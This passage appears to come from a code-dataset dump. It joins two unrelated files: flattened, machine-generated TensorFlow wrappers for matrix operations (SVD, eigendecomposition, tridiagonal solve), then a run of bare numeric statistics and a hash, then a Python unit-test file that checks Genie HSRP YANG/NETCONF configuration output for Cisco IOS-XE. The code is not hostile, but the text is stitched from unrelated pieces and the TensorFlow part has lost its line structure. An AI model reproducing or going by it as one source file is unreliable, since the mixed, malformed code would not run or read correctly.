_result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return self_adjoint_eig_v2_eager_fallback( input, compute_v=compute_v, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. if compute_v is None: compute_v = True compute_v = _execute.make_bool(compute_v, "compute_v") _, _, _op, _outputs = _op_def_library._apply_op_helper( "SelfAdjointEigV2", input=input, compute_v=compute_v, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("compute_v", _op._get_attr_bool("compute_v"), "T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "SelfAdjointEigV2", _inputs_flat, _attrs, _result) _result = _SelfAdjointEigV2Output._make(_result) return _result SelfAdjointEigV2 = tf_export("raw_ops.SelfAdjointEigV2")(_ops.to_raw_op(self_adjoint_eig_v2)) def self_adjoint_eig_v2_eager_fallback(input, compute_v, name, ctx): if compute_v is None: compute_v = True compute_v = _execute.make_bool(compute_v, "compute_v") _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.half, _dtypes.complex64, _dtypes.complex128, ]) _inputs_flat = [input] _attrs = ("compute_v", compute_v, "T", _attr_T) _result = _execute.execute(b"SelfAdjointEigV2", 2, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "SelfAdjointEigV2", _inputs_flat, _attrs, _result) _result = _SelfAdjointEigV2Output._make(_result) return _result _SvdOutput = collections.namedtuple( "Svd", ["s", "u", "v"]) def svd(input, compute_uv=True, full_matrices=False, name=None): r"""Computes the singular value decompositions of one or more matrices. Computes the SVD of each inner matrix in `input` such that `input[..., :, :] = u[..., :, :] * diag(s[..., :, :]) * transpose(v[..., :, :])` ```python # a is a tensor containing a batch of matrices. # s is a tensor of singular values for each matrix. # u is the tensor containing the left singular vectors for each matrix. # v is the tensor containing the right singular vectors for each matrix. s, u, v = svd(a) s, _, _ = svd(a, compute_uv=False) ``` Args: input: A `Tensor`. Must be one of the following types: `float64`, `float32`, `half`, `complex64`, `complex128`. A tensor of shape `[..., M, N]` whose inner-most 2 dimensions form matrices of size `[M, N]`. Let `P` be the minimum of `M` and `N`. compute_uv: An optional `bool`. Defaults to `True`. If true, left and right singular vectors will be computed and returned in `u` and `v`, respectively. If false, `u` and `v` are not set and should never referenced. full_matrices: An optional `bool`. Defaults to `False`. If true, compute full-sized `u` and `v`. If false (the default), compute only the leading `P` singular vectors. Ignored if `compute_uv` is `False`. name: A name for the operation (optional). Returns: A tuple of `Tensor` objects (s, u, v). s: A `Tensor`. Has the same type as `input`. u: A `Tensor`. Has the same type as `input`. v: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "Svd", name, input, "compute_uv", compute_uv, "full_matrices", full_matrices) _result = _SvdOutput._make(_result) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return svd_eager_fallback( input, compute_uv=compute_uv, full_matrices=full_matrices, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. if compute_uv is None: compute_uv = True compute_uv = _execute.make_bool(compute_uv, "compute_uv") if full_matrices is None: full_matrices = False full_matrices = _execute.make_bool(full_matrices, "full_matrices") _, _, _op, _outputs = _op_def_library._apply_op_helper( "Svd", input=input, compute_uv=compute_uv, full_matrices=full_matrices, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("compute_uv", _op._get_attr_bool("compute_uv"), "full_matrices", _op._get_attr_bool("full_matrices"), "T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "Svd", _inputs_flat, _attrs, _result) _result = _SvdOutput._make(_result) return _result Svd = tf_export("raw_ops.Svd")(_ops.to_raw_op(svd)) def svd_eager_fallback(input, compute_uv, full_matrices, name, ctx): if compute_uv is None: compute_uv = True compute_uv = _execute.make_bool(compute_uv, "compute_uv") if full_matrices is None: full_matrices = False full_matrices = _execute.make_bool(full_matrices, "full_matrices") _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.half, _dtypes.complex64, _dtypes.complex128, ]) _inputs_flat = [input] _attrs = ("compute_uv", compute_uv, "full_matrices", full_matrices, "T", _attr_T) _result = _execute.execute(b"Svd", 3, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "Svd", _inputs_flat, _attrs, _result) _result = _SvdOutput._make(_result) return _result def tridiagonal_mat_mul(superdiag, maindiag, subdiag, rhs, name=None): r"""Calculate product with tridiagonal matrix. Calculates product of two matrices, where left matrix is a tridiagonal matrix. Args: superdiag: A `Tensor`. Must be one of the following types: `float64`, `float32`, `complex64`, `complex128`. Tensor of shape `[..., 1, M]`, representing superdiagonals of tri-diagonal matrices to the left of multiplication. Last element is ignored. maindiag: A `Tensor`. Must have the same type as `superdiag`. Tensor of shape `[..., 1, M]`, representing main diagonals of tri-diagonal matrices to the left of multiplication. subdiag: A `Tensor`. Must have the same type as `superdiag`. Tensor of shape `[..., 1, M]`, representing subdiagonals of tri-diagonal matrices to the left of multiplication. First element is ignored. rhs: A `Tensor`. Must have the same type as `superdiag`. Tensor of shape `[..., M, N]`, representing MxN matrices to the right of multiplication. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `superdiag`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "TridiagonalMatMul", name, superdiag, maindiag, subdiag, rhs) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return tridiagonal_mat_mul_eager_fallback( superdiag, maindiag, subdiag, rhs, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. _, _, _op, _outputs = _op_def_library._apply_op_helper( "TridiagonalMatMul", superdiag=superdiag, maindiag=maindiag, subdiag=subdiag, rhs=rhs, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "TridiagonalMatMul", _inputs_flat, _attrs, _result) _result, = _result return _result TridiagonalMatMul = tf_export("raw_ops.TridiagonalMatMul")(_ops.to_raw_op(tridiagonal_mat_mul)) def tridiagonal_mat_mul_eager_fallback(superdiag, maindiag, subdiag, rhs, name, ctx): _attr_T, _inputs_T = _execute.args_to_matching_eager([superdiag, maindiag, subdiag, rhs], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.complex64, _dtypes.complex128, ]) (superdiag, maindiag, subdiag, rhs) = _inputs_T _inputs_flat = [superdiag, maindiag, subdiag, rhs] _attrs = ("T", _attr_T) _result = _execute.execute(b"TridiagonalMatMul", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "TridiagonalMatMul", _inputs_flat, _attrs, _result) _result, = _result return _result def tridiagonal_solve(diagonals, rhs, partial_pivoting=True, name=None): r"""Solves tridiagonal systems of equations. Solves tridiagonal systems of equations. Supports batch dimensions and multiple right-hand sides per each left-hand side. On CPU, solution is computed via Gaussian elimination with or without partial pivoting, depending on `partial_pivoting` attribute. On GPU, Nvidia's cuSPARSE library is used: https://docs.nvidia.com/cuda/cusparse/index.html#gtsv Partial pivoting is not yet supported by XLA backends. Args: diagonals: A `Tensor`. Must be one of the following types: `float64`, `float32`, `complex64`, `complex128`. Tensor of shape `[..., 3, M]` whose innermost 2 dimensions represent the tridiagonal matrices with three rows being the superdiagonal, diagonals, and subdiagonals, in order. The last element of the superdiagonal and the first element of the subdiagonal is ignored. rhs: A `Tensor`. Must have the same type as `diagonals`. Tensor of shape `[..., M, K]`, representing K right-hand sides per each left-hand side. partial_pivoting: An optional `bool`. Defaults to `True`. Whether to apply partial pivoting. Partial pivoting makes the procedure more stable, but slower. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `diagonals`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "TridiagonalSolve", name, diagonals, rhs, "partial_pivoting", partial_pivoting) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return tridiagonal_solve_eager_fallback( diagonals, rhs, partial_pivoting=partial_pivoting, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. if partial_pivoting is None: partial_pivoting = True partial_pivoting = _execute.make_bool(partial_pivoting, "partial_pivoting") _, _, _op, _outputs = _op_def_library._apply_op_helper( "TridiagonalSolve", diagonals=diagonals, rhs=rhs, partial_pivoting=partial_pivoting, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("partial_pivoting", _op._get_attr_bool("partial_pivoting"), "T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "TridiagonalSolve", _inputs_flat, _attrs, _result) _result, = _result return _result TridiagonalSolve = tf_export("raw_ops.TridiagonalSolve")(_ops.to_raw_op(tridiagonal_solve)) def tridiagonal_solve_eager_fallback(diagonals, rhs, partial_pivoting, name, ctx): if partial_pivoting is None: partial_pivoting = True partial_pivoting = _execute.make_bool(partial_pivoting, "partial_pivoting") _attr_T, _inputs_T = _execute.args_to_matching_eager([diagonals, rhs], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.complex64, _dtypes.complex128, ]) (diagonals, rhs) = _inputs_T _inputs_flat = [diagonals, rhs] _attrs = ("partial_pivoting", partial_pivoting, "T", _attr_T) _result = _execute.execute(b"TridiagonalSolve", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "TridiagonalSolve", _inputs_flat, _attrs, _result) _result, = _result return _result
38.708531
173
0.690736
12,850
98,010
4.953463
0.052529
0.024351
0.021916
0.012663
0.787517
0.762333
0.746387
0.729592
0.712766
0.703167
0
0.009168
0.202071
98,010
2,531
174
38.723825
0.804744
0.316498
0
0.786774
1
0
0.071473
0.01735
0
0
0
0.004346
0
1
0.038319
false
0.038319
0.008035
0
0.131644
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
892377cb2bb9334e1016465f3d509fb80178584c
32,481
py
Python
pkgs/conf-pkg/src/genie/libs/conf/hsrp/iosxe/yang/tests/test_hsrp.py
miott/genielibs
6464642cdd67aa2367bdbb12561af4bb060e5e62
[ "Apache-2.0" ]
null
null
null
pkgs/conf-pkg/src/genie/libs/conf/hsrp/iosxe/yang/tests/test_hsrp.py
miott/genielibs
6464642cdd67aa2367bdbb12561af4bb060e5e62
[ "Apache-2.0" ]
null
null
null
pkgs/conf-pkg/src/genie/libs/conf/hsrp/iosxe/yang/tests/test_hsrp.py
miott/genielibs
6464642cdd67aa2367bdbb12561af4bb060e5e62
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python ''' IOSXE unit tests for Genie Standby conf using YANG. ''' # Python import re import unittest from unittest.mock import Mock # Genie from genie.conf import Genie from genie.conf.tests import TestCase from genie.conf.base import Testbed, Device from genie.libs.conf.hsrp.hsrp import Hsrp from genie.libs.conf.interface import Interface # YDK from ydk.models.cisco_iosxe_native import Cisco_IOS_XE_native as ned from ydk.types import DELETE, Empty from ydk.services import CRUDService from ydk.services import CodecService from ydk.providers import CodecServiceProvider # Patch a netconf provider from ydk.providers import NetconfServiceProvider as _NetconfServiceProvider from ydk.providers._provider_plugin import _ClientSPPlugin class NetconfConnectionInfo(object): def __init__(self): self.ip = '1.1.1.1' self.port = 830 self.username = 'admin' self.password = 'lab' class test_hsrp(TestCase): def setUp(self): # Set Genie Tb self.testbed = Testbed() Genie.testbed = self.testbed # Device self.dev1 = Device(name='PE1', testbed=self.testbed, os='iosxe', context='yang') # Interface self.intf1 = Interface(name='GigabitEthernet1/0/1', device=self.dev1) self.intf1.shutdown = False self.intf1.switchport = False # Hsrp object self.hsrp1 = Hsrp() # Build config cfgs = self.intf1.build_config(apply=False) # Check config built correctly self.assertMultiLineEqual( str(cfgs), '\n'.join([ 'interface GigabitEthernet1/0/1', ' no shutdown', ' no switchport', ' exit', ])) def test_yang_config1(self): # Apply configuration key = self.hsrp1.device_attr[self.dev1].interface_attr[self.intf1] key.version = 2 key.minimum_delay = 5 key.reload_delay = 10 key.group_number = 25 key.ip_address = '192.168.1.254' key.priority = 110 key.preempt = True key.preempt_minimum_delay = 5 key.preempt_reload_delay = 10 key.preempt_sync_delay = 20 key.hello_interval_seconds = 1 key.holdtime_seconds = 3 key.track_object = 1 key.priority_decrement = 20 key.authentication_word = 'cisco123' key.bfd = True key.mac_refresh = 11 key.follow = 'test' for dev in self.testbed.devices: dev.connections=Mock() dev.connections={'netconf':NetconfConnectionInfo()} # Build config build_cfgs = self.hsrp1.build_config(apply=False) compare1 = "" for i in build_cfgs['PE1']: compare1+=str(i) self.assertMultiLineEqual(compare1, '\n'.join([ '<edit-config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">\n' ' <target>\n' ' <running></running>\n' ' </target>\n' ' <config>\n' ' <GigabitEthernet xmlns="http://cisco.com/ns/yang/Cisco-IOS-XE-native">\n' ' <name></name>\n' ' <standby>\n' ' <bfd></bfd>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' <reload>10</reload>\n' ' </delay>\n' ' <mac-refresh>11</mac-refresh>\n' ' <standby-list>\n' ' <group-number>25</group-number>\n' ' <authentication>\n' ' <word>cisco123</word>\n' ' </authentication>\n' ' <follow>test</follow>\n' ' <ip>\n' ' <address>192.168.1.254</address>\n' ' </ip>\n' ' <preempt>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' <reload>10</reload>\n' ' <sync>20</sync>\n' ' </delay>\n' ' </preempt>\n' ' <priority>110</priority>\n' ' <timers>\n' ' <hello-interval>\n' ' <seconds>1</seconds>\n' ' </hello-interval>\n' ' <hold-time>\n' ' <seconds>3</seconds>\n' ' </hold-time>\n' ' </timers>\n' ' <track>\n' ' <number>1</number>\n' ' <decrement>20</decrement>\n' ' </track>\n' ' </standby-list>\n' ' <version>2</version>\n' ' </standby>\n' ' </GigabitEthernet>\n' ' </config>\n' '</edit-config>\n' ])) # Build config build_uncfgs = self.hsrp1.build_unconfig(apply=False) compare2 = "" for i in build_uncfgs['PE1']: compare2+=str(i) self.assertMultiLineEqual(compare2, '\n'.join([ '<edit-config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">\n' ' <target>\n' ' <running></running>\n' ' </target>\n' ' <config>\n' ' <GigabitEthernet xmlns="http://cisco.com/ns/yang/Cisco-IOS-XE-native">\n' ' <name></name>\n' ' <standby>\n' ' <bfd></bfd>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' <reload>10</reload>\n' ' </delay>\n' ' <mac-refresh>11</mac-refresh>\n' ' <standby-list>\n' ' <group-number>25</group-number>\n' ' <authentication>\n' ' <word>cisco123</word>\n' ' </authentication>\n' ' <follow>test</follow>\n' ' <ip>\n' ' <address>192.168.1.254</address>\n' ' </ip>\n' ' <preempt>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' <reload>10</reload>\n' ' <sync>20</sync>\n' ' </delay>\n' ' </preempt>\n' ' <priority>110</priority>\n' ' <timers>\n' ' <hello-interval>\n' ' <seconds>1</seconds>\n' ' </hello-interval>\n' ' <hold-time>\n' ' <seconds>3</seconds>\n' ' </hold-time>\n' ' </timers>\n' ' <track>\n' ' <number>1</number>\n' ' <decrement>20</decrement>\n' ' </track>\n' ' </standby-list>\n' ' <version>2</version>\n' ' </standby>\n' ' </GigabitEthernet>\n' ' </config>\n' '</edit-config>\n' ])) def test_yang_config2(self): # Apply configuration key = self.hsrp1.device_attr[self.dev1].interface_attr[self.intf1] key.version = 1 key.minimum_delay = 5 key.reload_delay = 10 key.group_number = 25 key.ip_address = '192.168.1.254' key.priority = 110 key.preempt = True key.preempt_minimum_delay = 5 key.preempt_reload_delay = 10 key.hello_interval_seconds = 1 key.holdtime_seconds = 3 key.track_object = 1 key.priority_decrement = 20 key.authentication_text = 'cisco123' # Build config build_cfgs = self.hsrp1.build_config(apply=False) compare1 = "" for i in build_cfgs['PE1']: compare1+=str(i) # Check config built correctly self.assertMultiLineEqual(compare1, '\n'.join([ '<edit-config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">\n' ' <target>\n' ' <running></running>\n' ' </target>\n' ' <config>\n' ' <GigabitEthernet xmlns="http://cisco.com/ns/yang/Cisco-IOS-XE-native">\n' ' <name></name>\n' ' <standby>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' <reload>10</reload>\n' ' </delay>\n' ' <standby-list>\n' ' <group-number>25</group-number>\n' ' <authentication>\n' ' <word>cisco123</word>\n' ' </authentication>\n' ' <ip>\n' ' <address>192.168.1.254</address>\n' ' </ip>\n' ' <preempt>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' <reload>10</reload>\n' ' </delay>\n' ' </preempt>\n' ' <priority>110</priority>\n' ' <timers>\n' ' <hello-interval>\n' ' <seconds>1</seconds>\n' ' </hello-interval>\n' ' <hold-time>\n' ' <seconds>3</seconds>\n' ' </hold-time>\n' ' </timers>\n' ' <track>\n' ' <number>1</number>\n' ' <decrement>20</decrement>\n' ' </track>\n' ' </standby-list>\n' ' <version>1</version>\n' ' </standby>\n' ' </GigabitEthernet>\n' ' </config>\n' '</edit-config>\n' ])) # Build unconfig build_uncfgs = self.hsrp1.build_unconfig(apply=False) compare2 = "" for i in build_uncfgs['PE1']: compare2+=str(i) # Check config built correctly self.assertMultiLineEqual(compare2, '\n'.join([ '<edit-config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">\n' ' <target>\n' ' <running></running>\n' ' </target>\n' ' <config>\n' ' <GigabitEthernet xmlns="http://cisco.com/ns/yang/Cisco-IOS-XE-native">\n' ' <name></name>\n' ' <standby>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' <reload>10</reload>\n' ' </delay>\n' ' <standby-list>\n' ' <group-number>25</group-number>\n' ' <authentication>\n' ' <word>cisco123</word>\n' ' </authentication>\n' ' <ip>\n' ' <address>192.168.1.254</address>\n' ' </ip>\n' ' <preempt>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' <reload>10</reload>\n' ' </delay>\n' ' </preempt>\n' ' <priority>110</priority>\n' ' <timers>\n' ' <hello-interval>\n' ' <seconds>1</seconds>\n' ' </hello-interval>\n' ' <hold-time>\n' ' <seconds>3</seconds>\n' ' </hold-time>\n' ' </timers>\n' ' <track>\n' ' <number>1</number>\n' ' <decrement>20</decrement>\n' ' </track>\n' ' </standby-list>\n' ' <version>1</version>\n' ' </standby>\n' ' </GigabitEthernet>\n' ' </config>\n' '</edit-config>\n' ])) def test_yang_config3(self): # Apply configuration key = self.hsrp1.device_attr[self.dev1].interface_attr[self.intf1] key.version = 2 key.minimum_delay = 5 key.reload_delay = 10 key.group_number = 25 key.ip_address = '192.168.1.254' key.priority = 110 key.preempt = True key.preempt_minimum_delay = 5 key.hello_interval_seconds = 1 key.holdtime_seconds = 3 key.track_object = 1 key.priority_decrement = 20 key.authentication_md5_keychain = 'abc' # Build config build_cfgs = self.hsrp1.build_config(apply=False) compare1 = "" for i in build_cfgs['PE1']: compare1+=str(i) # Check config built correctly self.assertMultiLineEqual(compare1, '\n'.join([ '<edit-config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">\n' ' <target>\n' ' <running></running>\n' ' </target>\n' ' <config>\n' ' <GigabitEthernet xmlns="http://cisco.com/ns/yang/Cisco-IOS-XE-native">\n' ' <name></name>\n' ' <standby>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' <reload>10</reload>\n' ' </delay>\n' ' <standby-list>\n' ' <group-number>25</group-number>\n' ' <authentication>\n' ' <md5>\n' ' <key-chain>abc</key-chain>\n' ' </md5>\n' ' </authentication>\n' ' <ip>\n' ' <address>192.168.1.254</address>\n' ' </ip>\n' ' <preempt>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' </delay>\n' ' </preempt>\n' ' <priority>110</priority>\n' ' <timers>\n' ' <hello-interval>\n' ' <seconds>1</seconds>\n' ' </hello-interval>\n' ' <hold-time>\n' ' <seconds>3</seconds>\n' ' </hold-time>\n' ' </timers>\n' ' <track>\n' ' <number>1</number>\n' ' <decrement>20</decrement>\n' ' </track>\n' ' </standby-list>\n' ' <version>2</version>\n' ' </standby>\n' ' </GigabitEthernet>\n' ' </config>\n' '</edit-config>\n' ])) # Build unconfig build_uncfgs = self.hsrp1.build_unconfig(apply=False) compare2 = "" for i in build_uncfgs['PE1']: compare2+=str(i) # Check config built correctly self.assertMultiLineEqual(compare2, '\n'.join([ '<edit-config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">\n' ' <target>\n' ' <running></running>\n' ' </target>\n' ' <config>\n' ' <GigabitEthernet xmlns="http://cisco.com/ns/yang/Cisco-IOS-XE-native">\n' ' <name></name>\n' ' <standby>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' <reload>10</reload>\n' ' </delay>\n' ' <standby-list>\n' ' <group-number>25</group-number>\n' ' <authentication>\n' ' <md5>\n' ' <key-chain>abc</key-chain>\n' ' </md5>\n' ' </authentication>\n' ' <ip>\n' ' <address>192.168.1.254</address>\n' ' </ip>\n' ' <preempt>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' </delay>\n' ' </preempt>\n' ' <priority>110</priority>\n' ' <timers>\n' ' <hello-interval>\n' ' <seconds>1</seconds>\n' ' </hello-interval>\n' ' <hold-time>\n' ' <seconds>3</seconds>\n' ' </hold-time>\n' ' </timers>\n' ' <track>\n' ' <number>1</number>\n' ' <decrement>20</decrement>\n' ' </track>\n' ' </standby-list>\n' ' <version>2</version>\n' ' </standby>\n' ' </GigabitEthernet>\n' ' </config>\n' '</edit-config>\n' ])) def test_yang_config4(self): # Apply configuration key = self.hsrp1.device_attr[self.dev1].interface_attr[self.intf1] key.version = 1 key.minimum_delay = 5 key.reload_delay = 10 key.group_number = 25 key.ip_address = '192.168.1.254' key.priority = 110 key.preempt = True key.preempt_minimum_delay = 5 key.preempt_reload_delay = 10 key.hello_interval_seconds = 1 key.holdtime_seconds = 3 key.track_object = 1 key.priority_decrement = 20 key.authentication_md5_keystring = 'xyz' # Build config build_cfgs = self.hsrp1.build_config(apply=False) compare1 = "" for i in build_cfgs['PE1']: compare1+=str(i) # Check config built correctly self.assertMultiLineEqual(compare1, '\n'.join([ '<edit-config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">\n' ' <target>\n' ' <running></running>\n' ' </target>\n' ' <config>\n' ' <GigabitEthernet xmlns="http://cisco.com/ns/yang/Cisco-IOS-XE-native">\n' ' <name></name>\n' ' <standby>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' <reload>10</reload>\n' ' </delay>\n' ' <standby-list>\n' ' <group-number>25</group-number>\n' ' <authentication>\n' ' <md5>\n' ' <key-string>\n' ' <string>xyz</string>\n' ' </key-string>\n' ' </md5>\n' ' </authentication>\n' ' <ip>\n' ' <address>192.168.1.254</address>\n' ' </ip>\n' ' <preempt>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' <reload>10</reload>\n' ' </delay>\n' ' </preempt>\n' ' <priority>110</priority>\n' ' <timers>\n' ' <hello-interval>\n' ' <seconds>1</seconds>\n' ' </hello-interval>\n' ' <hold-time>\n' ' <seconds>3</seconds>\n' ' </hold-time>\n' ' </timers>\n' ' <track>\n' ' <number>1</number>\n' ' <decrement>20</decrement>\n' ' </track>\n' ' </standby-list>\n' ' <version>1</version>\n' ' </standby>\n' ' </GigabitEthernet>\n' ' </config>\n' '</edit-config>\n' ])) # Build unconfig build_uncfgs = self.hsrp1.build_unconfig(apply=False) compare2 = "" for i in build_uncfgs['PE1']: compare2+=str(i) # Check config built correctly self.assertMultiLineEqual(compare2, '\n'.join([ '<edit-config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">\n' ' <target>\n' ' <running></running>\n' ' </target>\n' ' <config>\n' ' <GigabitEthernet xmlns="http://cisco.com/ns/yang/Cisco-IOS-XE-native">\n' ' <name></name>\n' ' <standby>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' <reload>10</reload>\n' ' </delay>\n' ' <standby-list>\n' ' <group-number>25</group-number>\n' ' <authentication>\n' ' <md5>\n' ' <key-string>\n' ' <string>xyz</string>\n' ' </key-string>\n' ' </md5>\n' ' </authentication>\n' ' <ip>\n' ' <address>192.168.1.254</address>\n' ' </ip>\n' ' <preempt>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' <reload>10</reload>\n' ' </delay>\n' ' </preempt>\n' ' <priority>110</priority>\n' ' <timers>\n' ' <hello-interval>\n' ' <seconds>1</seconds>\n' ' </hello-interval>\n' ' <hold-time>\n' ' <seconds>3</seconds>\n' ' </hold-time>\n' ' </timers>\n' ' <track>\n' ' <number>1</number>\n' ' <decrement>20</decrement>\n' ' </track>\n' ' </standby-list>\n' ' <version>1</version>\n' ' </standby>\n' ' </GigabitEthernet>\n' ' </config>\n' '</edit-config>\n' ])) def test_yang_config5(self): # Apply configuration key = self.hsrp1.device_attr[self.dev1].interface_attr[self.intf1] key.version = 2 key.minimum_delay = 5 key.group_number = 25 key.priority = 110 key.preempt = True key.bfd = True key.use_bia = True key.hello_interval_msec = 55 key.holdtime_msec = 100 key.track_object = 1 key.track_shutdown = True key.group_name = 'gandalf' key.mac_address = 'dead.beef.dead' # Build config build_cfgs = self.hsrp1.build_config(apply=False) compare1 = "" for i in build_cfgs['PE1']: compare1+=str(i) # Check config built correctly self.assertMultiLineEqual(compare1, '\n'.join([ '<edit-config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">\n' ' <target>\n' ' <running></running>\n' ' </target>\n' ' <config>\n' ' <GigabitEthernet xmlns="http://cisco.com/ns/yang/Cisco-IOS-XE-native">\n' ' <name></name>\n' ' <standby>\n' ' <bfd></bfd>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' </delay>\n' ' <standby-list>\n' ' <group-number>25</group-number>\n' ' <mac-address>dead.beef.dead</mac-address>\n' ' <name>gandalf</name>\n' ' <preempt/>\n' ' <priority>110</priority>\n' ' <timers>\n' ' <hello-interval>\n' ' <msec>55</msec>\n' ' </hello-interval>\n' ' <hold-time>\n' ' <msec>100</msec>\n' ' </hold-time>\n' ' </timers>\n' ' <track>\n' ' <number>1</number>\n' ' <shutdown></shutdown>\n' ' </track>\n' ' </standby-list>\n' ' <use-bia>\n' ' <scope>\n' ' <interface></interface>\n' ' </scope>\n' ' </use-bia>\n' ' <version>2</version>\n' ' </standby>\n' ' </GigabitEthernet>\n' ' </config>\n' '</edit-config>\n' ])) # Build unconfig build_uncfgs = self.hsrp1.build_unconfig(apply=False) compare2 = "" for i in build_uncfgs['PE1']: compare2+=str(i) # Check config built correctly self.assertMultiLineEqual(compare2, '\n'.join([ '<edit-config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">\n' ' <target>\n' ' <running></running>\n' ' </target>\n' ' <config>\n' ' <GigabitEthernet xmlns="http://cisco.com/ns/yang/Cisco-IOS-XE-native">\n' ' <name></name>\n' ' <standby>\n' ' <bfd></bfd>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' </delay>\n' ' <standby-list>\n' ' <group-number>25</group-number>\n' ' <mac-address>dead.beef.dead</mac-address>\n' ' <name>gandalf</name>\n' ' <preempt/>\n' ' <priority>110</priority>\n' ' <timers>\n' ' <hello-interval>\n' ' <msec>55</msec>\n' ' </hello-interval>\n' ' <hold-time>\n' ' <msec>100</msec>\n' ' </hold-time>\n' ' </timers>\n' ' <track>\n' ' <number>1</number>\n' ' <shutdown></shutdown>\n' ' </track>\n' ' </standby-list>\n' ' <use-bia>\n' ' <scope>\n' ' <interface></interface>\n' ' </scope>\n' ' </use-bia>\n' ' <version>2</version>\n' ' </standby>\n' ' </GigabitEthernet>\n' ' </config>\n' '</edit-config>\n' ])) def test_yang_config6(self): # Apply configuration key = self.hsrp1.device_attr[self.dev1].interface_attr[self.intf1] key.version = 2 key.minimum_delay = 5 key.group_number = 25 key.priority = 110 key.preempt = True key.ipv6_address = 'autoconfig' # Build config build_cfgs = self.hsrp1.build_config(apply=False) compare1 = "" for i in build_cfgs['PE1']: compare1+=str(i) # Check config built correctly self.assertMultiLineEqual(compare1, '\n'.join([ '<edit-config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">\n' ' <target>\n' ' <running></running>\n' ' </target>\n' ' <config>\n' ' <GigabitEthernet xmlns="http://cisco.com/ns/yang/Cisco-IOS-XE-native">\n' ' <name></name>\n' ' <standby>\n' ' <delay>\n' ' <minimum>5</minimum>\n' ' </delay>\n' ' <standby-list>\n' ' <group-number>25</group-number>\n' ' <ipv6>autoconfig</ipv6>\n' ' <preempt/>\n' ' <priority>110</priority>\n' ' </standby-list>\n' ' <version>2</version>\n' ' </standby>\n' ' </GigabitEthernet>\n' ' </config>\n' '</edit-config>\n' ])) # Build unconfig build_uncfgs = self.hsrp1.build_unconfig(apply=False) compare2 = "" for i in build_uncfgs['PE1']: compare2+=str(i) # Check config built correctly self.assertMultiLineEqual(compare2, '\n'.join([ '<edit-config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">\n' ' <target>\n' ' 